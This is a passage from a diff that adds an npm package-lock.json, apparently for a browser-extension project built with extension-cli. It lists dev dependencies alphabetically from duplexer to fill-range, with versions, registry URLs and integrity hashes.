"sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "dev": true, + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "dev": true + }, + "node_modules/duplexify": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", + "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + } + }, + "node_modules/each-props": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/each-props/-/each-props-1.3.2.tgz", + "integrity": "sha512-vV0Hem3zAGkJAyU7JSjixeU66rwdynTAa1vofCrSA5fEln+m67Az9CcnkVD776/fsN/UjIWmBDoNRS6t6G9RfA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.1", + "object.defaults": "^1.1.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.4.466", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.466.tgz", + "integrity": "sha512-TSkRvbXRXD8BwhcGlZXDsbI2lRoP8dvqR7LQnqQNk9KxXBc4tG8O+rTuXgTyIpEdiqSGKEBSqrxdqEntnjNncA==", + "dev": true + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.15.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz", + "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==", + "dev": true, + "peer": true, + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", + "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "dev": true, + "dependencies": { + "ansi-colors": "^4.1.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/entities": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.3.tgz", + "integrity": "sha512-MyoZ0jgnLvB2X3Lg5HqpFmn1kybDiIfEQmKzTb5apr51Rb+T3KdmMiqa70T+bhGnyv7bQ6WMj2QMHpGMmlrUYQ==", + "dev": true + }, + "node_modules/errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "dependencies": { + "prr": "~1.0.1" + }, + "bin": { + "errno": "cli.js" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-module-lexer": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.0.tgz", + "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==", + "dev": true, + "peer": true + }, + "node_modules/es5-ext": { + "version": "0.10.62", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz", + "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.3", + "next-tick": "^1.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true + }, + "node_modules/es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/es6-symbol": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", + "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==", + "dev": true, + "dependencies": { + "d": "^1.0.1", + "ext": "^1.1.2" + } + }, + "node_modules/es6-weak-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", + "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "^0.10.46", + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dev": true, + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/eslint": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.0.tgz", + "integrity": "sha512-03spzPzMAO4pElm44m60Nj08nYonPGQXmw6Ceai/S4QK82IgwWO1EXx1s9namKzVlbVu3Jf81hb+N+8+v21/HQ==", + "dev": true, + "dependencies": { + "@eslint/eslintrc": "^1.0.2", + "@humanwhocodes/config-array": "^0.6.0", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "enquirer": "^2.3.5", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^6.0.0", + "eslint-utils": "^3.0.0", + "eslint-visitor-keys": "^3.0.0", + "espree": "^9.0.0", + "esquery": "^1.4.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^6.0.1", + "globals": "^13.6.0", + "ignore": "^4.0.6", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.0.4", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "progress": "^2.0.0", + "regexpp": "^3.2.0", + "semver": "^7.2.1", + "strip-ansi": "^6.0.0", + "strip-json-comments": "^3.1.0", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-scope": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz", + "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^2.0.0" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=5" + } + }, + "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz", + "integrity": "sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.20.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/event-stream": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/event-stream/-/event-stream-4.0.1.tgz", + "integrity": "sha512-qACXdu/9VHPBzcyhdOWR5/IahhGMf0roTeZJfzz077GwylcDd90yOHLouhmv7GJ5XzPi6ekaQWd8AvPP2nOvpA==", + "dev": true, + "dependencies": { + "duplexer": "^0.1.1", + "from": "^0.1.7", + "map-stream": "0.0.7", + "pause-stream": "^0.0.11", + "split": "^1.0.1", + "stream-combiner": "^0.2.2", + "through": "^2.3.8" + } + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==", + "dev": true, + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-brackets/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/expand-brackets/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/expand-tilde": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz", + "integrity": "sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==", + "dev": true, + "dependencies": { + "homedir-polyfill": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ext": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", + "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", + "dev": true, + "dependencies": { + "type": "^2.7.2" + } + }, + "node_modules/ext/node_modules/type": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz", + "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==", + "dev": true + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extension-cli": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/extension-cli/-/extension-cli-1.2.4.tgz", + "integrity": "sha512-E5dmsoEyPqW4toxv55YpbAYMMm6dDi12cLzY+Fw3wCmWTCSIEbsSMMhIIwqbX02AdvgwvMruRW3EYn0SMC9OpQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/MobileFirstLLC" + } + ], + "dependencies": { + "@babel/preset-env": "7.15.8", + "@babel/register": "7.15.3", + "chai": "4.3.4", + "chalk": "4.1.2", + "cli-spinner": "0.2.10", + "commander": "8.2.0", + "del": "6.0.0", + "eslint": "8.0.0", + "gulp": "4.0.2", + "gulp-change": "1.0.2", + "gulp-clean-css": "4.3.0", + "gulp-concat": "2.6.1", + "gulp-htmlmin": "5.0.1", + "gulp-jsonminify": "1.1.0", + "gulp-load-plugins": "2.0.7", + "gulp-merge-json": "2.1.1", + "gulp-rename": "2.0.0", + "gulp-sass": "5.0.0", + "gulp-zip": "5.1.0", + "jsdoc": "3.6.7", + "jsdom": "18.0.0", + "jsdom-global": "3.0.2", + "mocha": "9.1.2", + "nyc": "15.1.0", + "prompts": "2.4.2", + "sass": "1.43.2", + "sinon": "11.1.2", + "sinon-chrome": "3.0.1", + "webpack-stream": "7.0.0", + "yargs": "17.2.1" + }, + "bin": { + "extension-cli": "cli/xt-create.js", + "xt-build": "cli/xt-build.js", + "xt-clean": "cli/xt-clean.js", + "xt-docs": "cli/xt-docs.js", + "xt-sync": "cli/xt-sync.js", + "xt-test": "cli/xt-test.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fancy-log": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/fancy-log/-/fancy-log-1.3.3.tgz", + "integrity": "sha512-k9oEhlyc0FrVh25qYuSELjr8oxsCoc4/LEZfg2iJJrfEk/tZL9bCoJE47gqAvI2m/AUjluCS4+3I0eTx8n3AEw==", + "dev": true, + "dependencies": { + "ansi-gray": "^0.1.1", + "color-support": "^1.1.3", + "parse-node-version": "^1.0.0", + "time-stamp": "^1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/fast-glob": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.0.tgz", + "integrity": "sha512-ChDuvbOypPuNjO8yIDf36x7BlZX1smcUMTTcyoIjycexOxd6DFsKsg21qVBzEmr3G7fUKIRy2/psii+CIUt7FA==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "optional": true + }, + "node_modules/fill-range": { + "version": "4.0.0", + "resolved": 